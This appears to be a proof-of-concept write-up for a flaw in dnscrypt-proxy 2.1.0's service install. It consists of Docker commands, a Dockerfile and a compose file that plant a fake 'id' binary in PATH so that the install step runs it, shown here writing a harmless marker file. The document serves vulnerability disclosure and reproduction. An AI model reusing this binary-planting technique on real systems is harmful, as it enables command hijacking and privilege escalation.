
docker compose up --build
Once the build and execution are complete, a container is created.
Access the container:
docker run -it --privileged dnscrypt-poc-poc bash
Inside the container:
/tmp/id
cat /tmp/poc_was_here
If Pwned_from_Docker is output, the PoC is successful.
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
git \
golang-go \
sudo
WORKDIR /workspace
RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
cd dnscrypt-proxy && \
git checkout tags/2.1.0 && \
go build -o proxy ./dnscrypt-proxy
RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
chmod +x /tmp/id && \
ln -sf /tmp/id /usr/local/bin/id
CMD ["./dnscrypt-proxy/proxy", "-service", "install"]
version: "3.8"
services:
poc:
build: .
container_name: dnscrypt-poc
privileged: true
tty: true

For more detailed analysis and practice results, refer to the following PDF document: